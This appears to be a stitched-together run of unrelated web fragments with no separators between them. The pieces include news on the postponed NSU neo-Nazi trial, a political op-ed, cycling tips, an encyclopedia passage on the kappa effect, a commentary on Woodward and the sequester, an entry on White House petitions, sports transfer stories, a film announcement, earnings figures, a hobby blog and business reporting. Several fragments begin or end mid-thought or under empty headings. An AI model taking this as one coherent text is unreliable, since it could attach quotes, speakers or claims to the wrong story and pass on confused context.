The trial was due to start on Wednesday, April 17. The postponement will allow the Munich Higher Regional Court to reorganize the accreditation. Its initial refusal to amend its media access rules had embarrassed Germany and caused an outcry, with accusations that the court wasn't being sensitive enough to the victims. The dispute was overshadowing the start of the trial and threatened to compound the controversy caused by the failings of Germany security authorities in the investigation.
The main defendent is Beate Zschäpe, 38, who is charged with complicity in the murder of eight Turks, a Greek and a policewoman, two bombings in Cologne and 15 bank robberies. She is believed to be the only surviving member of a neo-Nazi cell calling itself the National Socialist Underground (NSU), which was uncovered by chance in November 2011.
Four others are charged with assisting the NSU.
The appointed government representative of the families of the victims, Barbara John, called the delay a "mid-sized catastrophe." She said many relatives had prepared themselves emotionally for what would be a traumatic experience for them. They had also bought tickets, booked hotels and arranged vacation time in order to be in Munich on Wednesday. Many wouldn't be able to make the new date, she added.
John called on the Munich court to compensate the families. "They mustn't be left to cover those costs," she told the newspaper Die Welt. "The Munich court must cover them."
Delay 'An Additional Ordeal For the Families'
The chairman of the Central Council of Muslims in Germany, Aiman Mazyek, also criticized the court. "If the court hadn't been so stubborn from the beginning we would have been spared the postponement," Mazyek told the Rheinische Post newspaper. "I feel sorry for the families of the terrorism victims, it's an additional ordeal for them. I hope the court will learn from its mistakes. This isn't a criminal case like any other."
Ralf Höcker, the lawyer for Turkish newspaper Sabah, which had filed the legal complaint that prompted the Constitutional Court decision against the Munich court's accreditation policy, said: "My client of course regrets that the trial has been postponed. After the ruling by the Federal Constitutional Court it wasn't absolutely necessary to repeat the accreditation process. From our point of view it's just the second-best solution."
Mehmet Daimagüler, a lawyer representing the families of two NSU victims in the trial, said he was "stunned and appalled" by the delay. "One would have thought the court would be in a position to sort out a seating problem. This situation has turned into a slapstick comedy."
However, the opposition center-left Social Democratic Party (SPD) welcomed the postponement. "What matters is that foreign media too will get enough seats," said SPD General Secretary Andrea Nahles. "The Turkish and Greek media have a justified interest in taking part in the trial. It's a good signal that the court is now taking that into account."
Donald Trump tapes have exposed the hypocrisy at the heart of the religious right, he says
The Rev. William J. Barber II, a Protestant minister, is president of the North Carolina NAACP, president of Repairers of the Breach, a progressive ecumenical organization, and founder of Moral Mondays, a grass-roots movement for racial and economic justice. He is the author of "The Third Reconstruction: Moral Mondays, Fusion Politics, and the Rise of a New Justice Movement." The opinions expressed in this commentary are solely those of the author.
(CNN) The second presidential debate was overshadowed this weekend by the release of a 2005 videotape in which Donald Trump bragged about being famous enough to get away with sexual assault. Pressed by moderator Anderson Cooper during the debate, Trump said he was not proud of his words, but dismissed them as "locker room talk" before trying to pivot to a discussion of ISIS.
While many Republican Party insiders have calculated that it's too late to get off the Trump train, a line-up of so-called "Christian conservatives" -- a crucial base of support for Trump in every national poll -- stepped forward this weekend to say they can no longer support candidate Trump. "I cannot commend Trump's moral character," evangelical theologian Wayne Grudem wrote , withdrawing his endorsement of the Republican candidate.
William Barber
As an evangelical Christian, I am deeply disturbed by the hypocrisy of the outrage at Trump's comments on sexual assault. Yes, it is outrageous for anyone to talk the way he did about another human being. But the violence of the Trump tape isn't new. What's new is that the woman he was talking about looks like the wives and daughters of the white men who've rallied the religious right behind Donald Trump.
But now he has gone too far?
We’re not saying that weight isn’t important. We’re just saying that it isn’t everything.
So save your money and concentrate on the following ten things instead.
Tyres
Get your tyres wrong and it doesn’t matter how light your bike is, it’s going to handle like a pig. Too draggy or too slippy or just plain unpredictable. Bad tyres ruin rides. And did you know that running fatter tyres can actually result in faster rolling too? 25mm is the new 23mm.
Brakes
Pretty much the same deal as tyres really. Bad brakes = bad rides. Bad, tiring, scary, un-enjoyable, frustrating rides. Are you still using own-brand brakes that came with your bike? Please stop or you won’t… stop.
Bike sizing
You see far too many people riding bikes that are the wrong size. People seem to think that riding a size-down is a sensible thing to do. It really isn’t. There’s some myth that small bikes handle better. And that’s what it is, a myth. Get some length in your bike! And don’t go trying to make small bikes fit by bunging a Goliath stem on there and sliding your saddle all the way back on its rails. It doesn’t work.
Aerodynamics
Aero is very much The Thing at the moment. And with good reason. It makes far more sense to invest in having a more aerodynamic bike, or bike setup, than to spends hundreds of pounds on making an already light bike even lighter. Making a £1000 bike more aero will be more rewarding than making a £1000 bike lighter.
Riding in a group
This follows on from the aerodynamics stuff above. Working in a group – even a small group – and taking it in turns to draft each other can save you about 20% effort. In the real world this means that you actually expel the same amount of energy as you always do but you end up going loads faster. More speed is always more fun. And working as a mini-peloton is fun in its own right too.
Skills
Us cyclists would always prefer to throw money at a problem than to address the real cause. Practice, practice, practice will always trump spend, spend, spend. What can you practice? Pedalling circles, apex cornering, controlled braking, staying off the brakes in general, aerodynamic riding positions…
Comfort
A lot of this list can be umbrella’d under this category. If you’re uncomfortable on your bike you won’t be very efficient and – more importantly – you won’t enjoy yourself as much. Bike size, bike set-up and tyre choice are all factors. But so is your clothing. Nasty, ill-fitting, sweaty clothing is not nice to ride in. Invest in a premium chamois short and a jersey that actually fits your body.
Body weight
This, like it or not, is the mass that matters. Oxygen uptake into the blood improves significantly as fat is lost. As well as having less mass to haul around, skinnier cyclists also benefit from having bodies that cope better with exercise. Life’s not fair eh?
Proper fuelling
Are you still just heading off cycling after breakfast with just a water bottle on your bike? Aiming to get to the cafe stop for your next fuelling, whereupon you’ll probably eat a bacon sarnie and some cake. We’re not advising cutting out the bacon or the cake – we’re not insane – but you should try some decent energy drink and an energy bar as well. You’ll feel – and ride – much better for it.
Attitude
In different sensory modalities [ edit ]
The kappa effect can occur with visual (e.g., flashes of light), auditory (e.g., tones), or tactile (e.g. taps to the skin) stimuli. Many studies of the kappa effect have been conducted using visual stimuli. For example, suppose three light sources, X, Y, and Z, are flashed successively in the dark with equal time intervals between each of the flashes. If the light sources are placed at different positions, with X and Y closer together than Y and Z, the temporal interval between the X and Y flashes is perceived to be shorter than that between the Y and Z flashes.[2] The kappa effect has also been demonstrated with auditory stimuli that move in frequency.[3] However, in some experimental paradigms the auditory kappa effect has not been observed. For example, Roy et al. (2011) found that, opposite to the prediction of the kappa effect, "Increasing the distance between sound sources marking time intervals leads to a decrease of the perceived duration".[4] In touch, the kappa effect was first described as the "S-effect" by Suto (1952).[5] Goldreich (2007)[6] refers to the kappa effect as "perceptual time dilation" in analogy with the physical time dilation of the theory of relativity.
Theories based in velocity expectation [ edit ]
Physically, traversed space and elapsed time are linked by velocity. Accordingly, several theories regarding the brain's expectations about stimulus velocity have been put forward to account for the kappa effect.
Constant velocity expectation [ edit ]
According to the constant velocity hypothesis proposed by Jones and Huang (1982), the brain incorporates a prior expectation of speed when judging spatiotemporal intervals. Specifically, the brain expects temporal intervals that would produce constant velocity (i.e., uniform motion) movement.[7][8] Thus, the kappa effect occurs when we apply our knowledge of motion to stimulus sequences, which sometimes leads us to make mistakes.[9] Evidence for the role of a uniform motion expectation in temporal perception comes from a study[10] in which participants observed eight white dots that successively appeared in one direction in a horizontal alignment along a straight line. When the temporal separation was constant and the spatial separation between the dots varied, they observed the kappa effect, which follows the constant velocity hypothesis. However, when both the temporal and spatial separation between the dots varied, they failed to observe the response pattern that the constant velocity hypothesis predicts. A possible explanation is that it is difficult to perceive a uniform motion from such varying, complicated patterns; thus, the context of observed events may affect our temporal perception.
Low-speed expectation [ edit ]
A Bayesian perceptual model[6] replicates the tactile kappa effect and other tactile spatiotemporal illusions, including the tau effect and the cutaneous rabbit illusion. According to this model, brain circuitry encodes the expectation that tactile stimuli tend to move slowly. The Bayesian model reaches an optimal probabilistic inference by combining uncertain spatial and temporal sensory information with a prior expectation for low-speed movement. The expectation that stimuli tend to move slowly results in the perceptual overestimation of the time elapsed between rapidly successive taps applied to separate skin locations. Simultaneously, the model perceptually underestimates the spatial separation between stimuli, thereby reproducing the cutaneous rabbit illusion and the tau effect. Goldreich (2007)[6] speculated that a Bayesian slow-speed prior might explain the visual kappa effect as well the tactile one. Recent empirical studies support this suggestion.[11][12]
Motion in different contexts [ edit ]
The kappa effect appears to depend strongly on phenomenal rather than physical extent.[7] The kappa effect gets bigger as stimuli move faster.[8] Observers tend to apply their previous knowledge of motion to a sequence of stimuli. When subjects observed vertically arranged stimuli, the kappa effect was stronger for sequences moving downward. This can be attributed to the expectation of downward acceleration and upward deceleration, in that the perceived accelerated downward motion causes us to underestimate temporal separation judgments.
Related illusions [ edit ]
Woodward has been dining out lately on the little scooplet from his book The Price Of Politics that places the germination for the whole sequester idea in the mind of Jack Lew, and the subsequent reward for earning that scooplet has been the way he's been constantly invited to opine on the matter in print and on the teevee. But his subsequent performances have basically demonstrated that he does not actually understand the sequester all that well. But now his misunderstandings have proceeded from the merely embarrassing to something downright disturbing.
Over the weekend, he got slapped up and down pretty convincingly after claiming that Obama's desire for a so-called balanced approach (spending cuts and revenue raising) to mitigate the sequester was "moving the goalposts." What Woodward failed to consider was that the whole point of the sequester-as-enforcement-mechanism was to replace the enforcement mechanism with something else -- and that the Budget Control Act both invited and anticipated a "balanced approach."
As Brian Beutler pointed out, the "bill even provided the House and Senate instructions for advancing a Super Committee bill if it included revenue." This is not hard to understand. One need only read the bill.
But as bad as Woodward's failure to understand the Budget Control Act was, it pales in comparison to Wednesday's appearance on "Morning Joe," where Woodward just said that Obama should essentially chuck the law passed by Congress, and which he signed, in the bin and overcome the sequester with pure and simple illegality.
"Can you imagine Ronald Reagan sitting there saying, 'Oh, by the way, I can't do this because of some budget document?'" Woodward said on MSNBC's "Morning Joe." "Or George W. Bush saying, 'You know, I'm not gonna invade Iraq, because I can't get the aircraft carriers I need?' Or even Bill Clinton saying, 'You know, I'm not going to attack Saddam Hussein's intelligence headquarters' -- as he did when Clinton was President -- because of some budget document? Under the Constitution, the President is Commander in Chief and employs the force. And so we now have the President going out, because of this piece of paper and this agreement, I can't do what I need to do to protect the country. That's a kind of madness that I haven't seen in a long time."
Well, as it happens, Article One, Section 8 of the U.S. Constitution actually does stipulate that Congress has the power to declare war. But in this day and age, that's become a quaint notion, trampled underfoot by expanding executive power and the shifting definition of "war." That said, if Congress wanted to defund the War in Afghanistan today, and they had the votes to override a presidential veto, then the very scenario Woodward declares to be beyond human imagination would, in fact, be reality.
But more to the point, what Woodward dismissively (and, frankly, frighteningly) refers to as "this piece of paper and this agreement" is the official law of the land. Congress passed it. The president signed it. It happened. It's happening. It's the rock in the road that you can't get around. In recent years, presidents may have claimed a certain amount of leeway in interpreting the bills passed by Congress in the form of signing statements. But signing statements are generally considered to be a sort of cheap trick -- and at any rate, I can't imagine that "if the day comes that this law just becomes too hard, I reserve the right to completely ignore it" would actually fly as a signing statement.
Now, I have a certain amount of sympathy for Woodward, who is all worked up over the fact that the Obama administration has made a big deal of pointing out that, with the sequester imposed, aircraft carriers scheduled to be deployed to the Persian Gulf will sit "idle." (It's a weird thing for Woodward to be concerned with, since the more immediate and dangerous impact of the sequester will be how it affects working- and middle-class Americans, but the media has sort of thrown the domestic impacts of the sequester down the memory hole.) So let's call the aircraft carrier melodrama what it is: cheap theatrics designed both to stoke worry and compel the defense-hawks in the GOP ranks to come to the table and broker a deal.
The problem is what Woodward thinks Obama should do in lieu of cheap theatrics. I am uniquely puzzled by Woodward's contention that the right and proper thing for Obama to do now is to ignore the law unilaterally. What member of Congress would accept that? Who (besides Woodward) would embrace the precedent? Heck, why would Woodward embrace this? Isn't he famous for investigating the Nixon administration's abuses of power, for Pete's sake?
The good news is that no one needs to seize dictatorial power to solve the sequester. (And I for one hope that when some would-be dictator decides to seize power and supplant Congress' authority, they have greater and more exciting ambitions than getting a really fiscally prudent 20-year budget trajectory.) Obama has a plan right now to offset the sequester. Congress could embrace it and start working on its passage right now. Alternatively, they could debate the merits of Obama's proposal and come to a different deal. The "piece of paper and agreement" can be replaced by a whole new "piece of paper and agreement," through traditional, legal means.
Overview [ edit ]
Users who wish to create a petition are required to register a free whitehouse.gov account. To sign a petition, users only need to provide their name and their email address, and they will receive an email with a link that they must click to confirm their signature. It is not necessary to have a whitehouse.gov account to sign a petition.
Thresholds [ edit ]
Under the Obama administration's rules, a petition had to reach 150 signatures (Dunbar's Number) within 30 days to be searchable on WhiteHouse.gov, according to Tom Cochran, former director of digital technology.[5] It had to reach 100,000 signatures within 30 days to receive an official response.[6] The original threshold was set at 5,000 signatures on September 1, 2011,[7] was raised to 25,000 on October 3, 2011,[8] and raised again to 100,000 as of January 15, 2013.[9] The White House typically would not comment when a petition concerned an ongoing investigation.[10]
"It's unclear whether Trump's advisors will make a tradition of publicly responding to petitions from the American people," Dell Cameron wrote for the Daily Dot on the day that Trump was inaugurated,[11] noting that the Trump administration that same day "archived" (that is, deactivated) all petitions in progress on the 'We the People' site. New petitions were created, but only two petitions—both created on Inauguration Day—soared above the 100,000-signature threshold within the Trump administration's first week, while other petitions created subsequently seemed not to count signatures at all.[12] The website was later fixed to count signatures but the Trump administration did not respond to any of the petitions until March 2018.[13]
Notable petitions [ edit ]
Death Star [ edit ]
In November 2012, a petition was created urging the government to create a Death Star as an economic stimulus and job creation measure gained more than 25,000 signatures, enough to qualify for an official response. The official (tongue-in-cheek) response released in January 2013[14] noted that the cost of building a real Death Star has been estimated at $852 quadrillion and at current rates of steel production, would not be ready for more than 833,000 years.[15] The response also noted that "the Administration does not support blowing up planets" and questions funding a weapon "with a fundamental flaw that can be exploited by a one-man starship" as reasons for denying the petition.[14][16][17]
Newtown shooting [ edit ]
Following the spree shooting in Newtown, Connecticut on December 14, 2012, a petition for new gun-control measures achieved 100,000 signatures within 24 hours.[10]
Cell phone unlocking bill [ edit ]
In February 2013, a petition started by OpenSignal co-founder and digital rights activist Sina Khanifar reached the 100,000-signature threshold required for a response from the White House.[18] Two weeks later, the Obama administration issued a response urging the FCC and Congress to take and legalize cell phone unlocking. A year later, Congress passed the Unlocking Consumer Choice and Wireless Competition Act, the first piece of legislation driven by an online petition.[19] The bill was signed into law by President Obama on August 1, 2014.
Prosecute 47 senators under the Logan Act [ edit ]
In March 2015, as the United States and the P5+1 group were negotiating with Iran on an agreement to restrain Iran's nuclear program, 47 Republican Senators sent an open letter to the leaders of Iran strongly suggesting that a future president or Congress could nullify any such agreement. This action was widely construed as deliberate interference with the negotiations, and possibly a violation of the Logan Act.[20] In response, several similar petitions were posted on March 9, 2015. One petition, entitled "File charges against the 47 U.S. Senators in violation of the Logan Act in attempting to undermine a nuclear agreement", passed the 100,000-signature threshold within one day. The petition had reached the number 1 spot, garnering more than 320,000 signatures by April 8, 2015, more than three times the number of signatures required to qualify for a response from the White House. For a variety of reasons, however, pundits, news analysts and legal scholars are largely skeptical that the petition will receive a favorable response leading to the requested prosecutions.[20][21][22][23][24]
Trump taxes [ edit ]
"Within hours"[25] of President Donald Trump's inauguration on January 20, 2017, two petitions had been started on the site. One, for the release of his taxes, "with all information needed to verify emoluments clause compliance" reached the 100,000 signature threshold within twenty-four hours.[26] Another, for the President to divest himself of his assets or put them in a blind trust, had some seventy-seven thousand. On January 22, Presidential aide Kellyanne Conway declared that the tax returns will not be released.[27] On January 27, the petitions had over 385,000 and 119,000 signatures, respectively, with the former being a record number of signatures for any petition on the site. By the February 17 deadline to reach 100,000 signatures, it had exceeded one million signatures, making it the first petition on the site to do so.[28]
American Antifa [ edit ]
In August 2017, a petition requesting that "AntiFa" be classified by the Pentagon as a terrorist organization was launched. The petition had over 100,000 signatures within three days. The final count before White House responded was 368,423. The originator of the "AntiFa" petition, who goes by the pseudonym "Microchip", remarked to Politico that getting conservatives to share and discuss the petition was the entire point, rather than prompting any concrete action by the government.[29] The White House responded to the petition, stating "Although Federal law provides a mechanism to designate and sanction foreign terrorist organizations and foreign state sponsors of terrorism, there is currently no analogous mechanism for formally designating domestic terrorist organizations. Nonetheless, law enforcement has many tools at its disposal to address violent individuals and groups." (emphasis added)[30]
Criticism [ edit ]
Concerns about the efficacy of We the People have been raised since before the first White House responses were published.[31]
On August 13, 2013, the Washington Post website published an article about 30 petitions that had been left unanswered for an average of 240 days despite each having met the signature goals. The article refers to the website www.whpetitions.info for taking "its own tally and highlights petitions that have received enough signatures but have not received responses."[32]
As of 16 October 2016, 323 White House petitions have met their signature thresholds. The White House has responded to 321 of them (99%) with an average response time of 117 days. Average waiting time so far for two unanswered petitions: 23 days, according to whpetitions.info.[33] The total number of petitions created and percent that have reached an actionable level beyond a response are unable to be determined at this time.
Criticism has been directed[by whom?] at the choice of administration official to answer the petitions regarding the legalization of marijuana. Gil Kerlikowske, the Director of the Office of National Drug Control Policy, was chosen to craft the administration's response.[34] The criticism stems from the Office of National Drug Control Policy Reauthorization Act of 1998, which states that the Director must oppose all attempts to legalize the use of illicit drugs in any form.[35][36]
Other discussions of We the People have focused on its technical glitches,[37] democratic rationale,[38] and political dilemmas.[39] There is criticism about the willingness of the administration to answer petitions that meet the threshold for response, when several qualifying petitions have been unanswered for months or years.[40] In addition, the digital divide means that poor communities will have difficulty participating equally in We The People.[41]
The F-35, Joint Strike Fighter.
Canadian Defense Minister Peter MacKay announced a C$9 billion dollar plan to buy 65 F-35 fighters on Friday morning. It would be the largest military purchase in the history of Canada. "I'm convinced the F-35 is good for Canada, good for Canadians, good for the Forces and good for Canadian industry," said MacKay during a press conference.
F-35 aircraft would replace the current fleet of CF-18s. The Liberal Party officially opposed the deal , saying that it required further review. The Party stated that they would place the deal on hold if elected.
Canada is one of several nations that assisted in the development of the F-35 and has invested over 168 million CAD into the program for over a decade. The new fighters would replace current aircraft from 2017 onward.
Sources
The 23-year old central defender became Pedro Caixinha’s fourth summer signing of an already hectic summer transfer window, with the Portuguese believing he is joining ‘the best club in Scotland.’
Speaking exclusively to RangersTV.tv, he explained: “I am very happy to be here. For me, this is the best club in Scotland and I will do my best to help us make history together.
“This is a big step in my career and it has always been a dream for me to play here in the UK. The people are very passionate about their football and it is the best atmosphere to play football in and I will do my best.
“Of course, I have to adapt myself to the new country and to the new way of living. I think I am going to be successful though.
“I will do my best to help me and my teammates win. A club as big as Rangers has to win.”
Cardoso flew into Glasgow from Lisbon with boss Pedro Caixinha on Sunday evening, with the new arrival greatly impressed with his manager.
He also appreciates the football in Scotland will differ somewhat to that in his homeland, although he believes that will suit him.
He continued: “I met Caixinha for the first time in the airport and I spoke to him a lot. I like him and what he had to say, and I think he is the right person to put Rangers where it belongs, which is first place.
“I know the football [in Scotland] is very physical and the players are strong. I think it is a good way of football for me.”
Cardoso is the third Portuguese to arrive in Glasgow, following Dalcio and fellow central defender Bruno Alves.
“He [Alves] is an amazing player and is one of the best defenders from my country. I know with him I will learn a lot,” he added.
“Dalcio is going to surprise the supporters, he is a very young player but he is very good and very fast. He is good to score and he is going to bring great happiness to the supporters.”
Cardoso took time to look around Ibrox before his interview, and also spent time at the training ground, where he met a number of his new teammates.
He was massively impressed with his new surroundings and said: “It’s amazing, and I cannot wait to play at Ibrox Stadium. It’s massive, it’s huge, it has so much history and I cannot wait.
“Rangers is the biggest and the most successful club in Scotland and the club with the most trophies in the world.
The novels' story is set in a town called Sakurada, where almost half the population possess some form of special powers. The story centers on two high school students. Kei Asai has the ability to perfectly remember anything he sees and hears, while Misora Haruki can turn back or "reset" time for a maximum of three days.
Both students are members of their school's "Service Club," which their town's administration bureau uses to observe people with powers and protect the peace. By using their powers together (Kei can remember things even when time has been reset), they solve cases for the club. Kei learns of the "MacGuffin" stone, which looks like a worthless black stone, but in reality will turn out to be the stone upon which the existence of Sakurada will hinge on.
The live-action films' cast includes:
Yuina Kuroshima (top photo, left) as the female lead Misora Haruki
Shūhei Nomura (top photo, right) as the male lead Kei Asai
Yūna Taira as Sumire Sōma, a classmate who was dealt a tragedy during a "reset"
Kentarō as guitar-playing and singing Tomoki Nakano
Tina Tamashiro as Yōka Murase, who possesses super strength
Yuri Tsunematsu as Eri Oka
Bottom row, from left to right:
Kuroshima and Nomura introduce their characters and the movies in a video:
Director Yoshihiro Fukugawa ( Hanbun no Tsuki ga Noboru Sora, In His Chart ) began shooting the films' two-month principal photography on September 17. Kei Haruna (live-action Erased, Aozora Yell) is producing the project, and the staff is aiming for a medium-sized release in about 200 theaters in Japan.
Kōno published the first novel in the series in 2009, and the seventh and final volume in 2012. You Shiina illustrated the series. Kōno also published six short stories, four of which are included in the fourth novel volume, and two of which appeared in the official website of The Sneaker magazine. Masahiko Yoshihara launched a manga adaptation of the novels' first volume in Kadokawa's Shōnen Ace magazine in 2010. Kadokawa published two compiled book volumes for the manga. The first novel volume will get a new edition with a new cover (shown right) on Saturday, and the reprint will continue with a new monthly volume for seven months.
It''s no secret that Arkansas needs linebackers and it appears a familiar name is set to rejoin the team. Randy Ramsey said Friday morning he's coming back to Arkansas.
Ramsey was heavily recruited out of Fort Lauderdale (Fla.) Dillard. He left the Razorbacks at midterm last year. Bret Bielema said he had been removed from the team during the season for academic reasons. Ramsey was asked if he's back in Fayetteville now?
"No sir, but I will be soon," Ramsey said.
At Dillard, he played all over the field his senior season. He had 83 tackles, including 34 for loss and 25 sacks to go with four forced fumbles. At Arkansas in 2014, Ramsey played in three games totaling eight tackles, including five solo, and 0.5 tackle for loss.
By Football Italia staff
Tomas Pochettino has spoken of his joy as the Argentinian youngster stands on the verge of completing a move to Juventus.
The Boca Juniors midfielder is almost certain to move to the Bianconeri in January, with a loan move to Sassuolo being mooted to help the young playmaker settle in Serie A.
“I haven’t signed yet, but I’ll do a medical tomorrow then go back to Argentina,” Pochettino revealed in an interview with Calciomercato.
“I’m delighted by the opportunity to play for Juve, it’s a club I really like. They’re a very important club in Italy and in Europe.
“Coming to Serie A is a dream for all Argentinians, I’ve watched a lot of Serie A games. I’m learning the language, I’ve been studying for over a month.”
The 18-year-old was spotted by Bianconero scouts while playing at a youth tournament in South Africa, but the Boca player reveals he almost didn’t make the tournament, while assessing his skills as well as his prospective new teammates.
“I had a groin injury, I almost didn’t go [to the tournament].
“During the tournament Juve contacted my agent, he told me when I got back to Argentina.
“I’m a midfielder, I like to play on the left. I’d say I have a powerful shot and a good change of pace. I’m right footed.
“[Carlos] Tevez is a phenomenon, he’s an idol all over Argentina for his humilty. I admire the ease with which [Arturo] Vidal gets into scoring positions, it’s impressive.
Rep. Debbie Wasserman Schultz won her Democratic primary Tuesday in South Florida, outlasting a challenger who raised more than $3.3 million, much of it from Bernie Sanders supporters seeking to defeat the former Democratic National Committee chairwoman.
Wasserman Schultz, a six-term congresswoman, took 57 percent of the vote to law professor Tim Canova's 43 percent — an unusually low margin for a member of Congress, but one that came after a bitter and extraordinary national fight between Wasserman Schultz and supporters of Sanders' insurgent progressive presidential bid.
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Canova became the most famous primary challenger in the country after Sanders sent out fundraising emails on his behalf earlier this year, thrusting him into the spotlight and fueling his primary bid. Even before that, Canova capitalized on national antipathy toward Wasserman Schultz, whom many progressives believed was unfairly tilting the Democratic presidential primary toward Clinton.
But Canova was unable to overcome Wasserman Schultz's standing back home, where she has been a fixture of Democratic politics for nearly a quarter-century, in a district Hillary Clinton won overwhelmingly in the presidential primary.
“There’s no one tougher than Debbie Wasserman Schultz,” said Allison Tant, the Florida Democratic Party chairwoman. “No matter what is thrown her way, Debbie gets back up and keeps fighting. She’s been a lifelong champion of our party’s progressive values and I congratulate her on tonight’s victory.”
“Losing sucks. But we came a long way in a short period of time,” tweeted Mike Nellis, who served as Canova’s digital fundraising manager.
Sanders, who endorsed Canova in late May and said he would probably campaign with him, ultimately did not show up in person for the race.
When asked about Sanders’ absence on the trail, Canova “bristled” and said, “No comment,” The Miami Herald reported.
Canova, who cited trade and campaign finance reform as his major issues, cast himself as a Sanders- and Elizabeth Warren-style progressive. Like Sanders on the national stage, he also took on the state’s Democratic Party, getting into a spat over access to voter data. The state party eventually backed down, but Canova used the episode to rile up supporters and raise more money.
“We sent out emails to our donors [about the issue] and we posted about it online and social media,” Canova told POLITICO in May. “In one day, we raised $18,000. It was a good day for us. … But then they did back down. They were feeling the heat.”
Wasserman Schultz had her own reinforcements, including endorsements from President Barack Obama, Democratic presidential nominee Hillary Clinton, Vice President Joe Biden and Civil Rights icon Georgia Rep. John Lewis. Biden headlined a fundraiser for Wasserman Schultz in Miami in early June. The super PAC Patriot Majority PAC also spent $640,000 to back her.
In July, top Sanders media and political strategists joined Canova’s campaign team, but they departed days later.
Sanders, who recently launched a new political organization to promote progressives, has endorsed a handful of other congressional candidates this year with mixed results. Zephyr Teachout won her New York primary and Pramila Jayapal finished first in her top-two Washington race, while Nevada's Lucy Flores and New York's Eric Kingson fell in open-seat races.
Analysts expected Comcast to post earnings of 78 cents a share on $17.68 billion in revenue.
The company added video customers for the third time in the last five quarters, picking up 6,000 new subscribers from October through December. But that was less than the 46,000 it brought in a year earlier.
The number of new video subscribers is closely watched on Wall Street as pay TV operators fight to keep customers in the midst of competition from streaming video services.
Comcast's high-speed Internet customers rose by 375,000, a similar gain to a year earlier. The company also added 123,000 voice customers during the quarter.
At NBCUniversal, parent company of CNBC, revenue rose 2.3 percent to $6.62 billion, boosted by theme parks and the NBC broadcast network.
While the Universal theme park in Florida lured visitors with a new Harry Potter attraction, NBC's performance has improved with bigger audiences for shows including "The Blacklist."
Advertising revenue at cable networks dropped 5.6 percent in the quarter to $857 million amid a decline in ratings that has hit networks across the TV industry. The NBC broadcast network's ad revenue rose 3.1 percent to $1.66 billion.
When I was a kid, I wore a costume every day after school and on the weekend. It’s MUCH easier to realize one’s theatrical vision with a good costume. My mom, an avid seamstress, indulged me to an astounding degree. When she became incapable of sewing after a series of strokes earlier this year, I decided to take up the mantle of family seamstress.
For fun I made myself a medieval costume. It turned out wonderfully so my best friend asked me to make her a costume for her birthday- a red and gold medieval dress that she could use for GoT cosplay if needed. It’s finally finished except for the hem and I’m VERY excited to show it off. Hence the blog post.
Here it is in all it’s glory!
I’m really proud of the beading. I did it all by hand and I’ve never done anything like it before. It’s not perfect but it sure looks cool!
Some close-ups:
The front.
The back.
A sleeve.
Of course, it’s nowhere near historically accurate. I’ll pursue something of that nature once I’ve refined my skills. Right now I’m happy to do this for my own (and my friend’s) amusement.
I’m also working on some cool cosplay Halloween costumes for my girls and my niece. Stay tuned for Peridot, Amethyst (both from Steven Universe), and Hyuga Hinata (from Naruto Shippuden)!
Volker Treier: There is more than just unease among German and other foreign investors in Turkey. The mood is really down. The lira has dropped, which has led to slowing demand from Turkey. And on the other hand foreign direct investments have been put on ice.
Can you give us an example?
DIHK's foreign trade chief Volker Treier is skeptical about a Turkey under Erdogan.
The smaller the company the bigger the uncertainty about what will happen, and what is happening right now. There is mistrust among businesses because of the purges following the coup attempt. So you don't know whether your business partner in Turkey is on the list or not. This is only one issue, showing the mistrust. The more there is mistrust the fewer businesses invest.
Do you believe this is temporary, or will it become any better?
A lot will depend on the outcome of the referendum, If approved then there is the concern of less "checks and balances," with unfair treatment of investors compared with their Turkish competitors. Then there is no judicial system we want, namely an independent one.
How important is Turkey as a market for the German export industry on the whole?
It's not at the top, but among the top twenty. It makes up for less tan two percent of our exports, but nevertheless it's been one of the stars in a world still hit by a crisis - the slowdown in China, frozen relations with Russia, problems in Latin America, e.g. Brazil. So Turkey was a hope, which, however, started to fade in the middle of last year.
In 2008, a meta-analysis study looked at all the evidence for differences in the balance of language processing in the brains of men and women. It looked at studies on sex differences in handedness, brain structure, on perception of words heard exclusively in the left or right ears, and neural activity recorded by brain scans during language tasks.
When you look at all the studies together, there are no reliable sex differences in word processing or language-related brain activity. Men and women did not differ in how their brains processed language.
I came across this study from a fantastic talk by neuroscientist Lise Eliot, author of the book Pink Brain, Blue Brain that tackles many of the sex difference stereotypes.
She notes how an initial study, published in Nature in 1995, did find results in line with the common myth, but that these results were not replicated.
At the time, however, they got widely publicised – making headlines around the world – and they remain the basis for the common claim despite numerous subsequent studies that suggest this is not the case.
This, notes Eliot, is a common pattern in sex difference research. Results that confirm our steroetypes get widely reported, others are largely ignored by the media.
I really recommend her talk over at Fora.tv and I will look forward to reading the book once I get my hands on a copy.
Link to Lise Eliot on Fora.tv (via Channel N).
Besides Mr. Rainwater and Mr. Geffen, his high-profile investors included Michael Dell, members of the Ziff publishing family and Thomas J. Tisch, a philanthropist and heir to the Tisch family fortune. In 2006, Forbes ranked him No. 67 on its list of the 400 richest Americans, with a net worth of $3.8 billion, a few notches ahead of another retailing executive, Jeff Bezos of Amazon. He was widely hailed as another Warren Buffett, only perhaps even smarter. “Eddie is one of the extraordinary investors of our age, if not the most extraordinary,” Mr. Tisch told Businessweek.
No one compares Mr. Lampert to Mr. Buffett anymore. His high-profile investors are, for the most part, long gone. Mr. Tisch, who’s also a director of Sears, is described as steadfastly loyal. Steven Mnuchin, Mr. Lampert’s roommate at Yale and now Treasury secretary, disclosed last year that he had a $26 million investment in ESL. (Mr. Mnuchin said he would divest the position.)
Notably, a group of Goldman Sachs clients who had invested $3.5 billion in 2007 bailed out of the fund in 2013. Their exit “pretty much says it all” as far as investor confidence in Mr. Lampert goes, Mr. Melich said.
Where did someone as smart, successful and hard-working as Mr. Lampert go wrong? His initial concept to combine two iconic but deeply distressed retailers — Kmart and Sears — initially appealed to many investors as a classic investment in undervalued, poorly managed assets in the Warren Buffett style. But Mr. Buffett doesn’t personally manage his portfolio companies. Several former Lampert investors told me that Mr. Lampert’s fundamental mistake was one common to many once-successful hedge fund managers: hubris, and the belief that investment prowess would translate into management skill.
“He was a very successful investor before he took over Kmart and Sears,” said Mark Cohen, former chief executive of Sears Canada and a professor at Columbia Business School, where he’s the director of retail studies. (Mr. Cohen left Sears Canada before Mr. Lampert arrived.)
NASA also plans to send people to Mars, although not as quickly, aiming for the mid-2030s. On Wednesday afternoon, a couple of hours after the SpaceX Twitter message, Dava J. Newman, NASA’s deputy administrator, wrote: “We are closer than ever before to sending American astronauts to Mars than anyone, anywhere, at any time has ever been. A new consensus is emerging around NASA’s plan and timetable for sending astronauts to the Red Planet in the 2030s.”
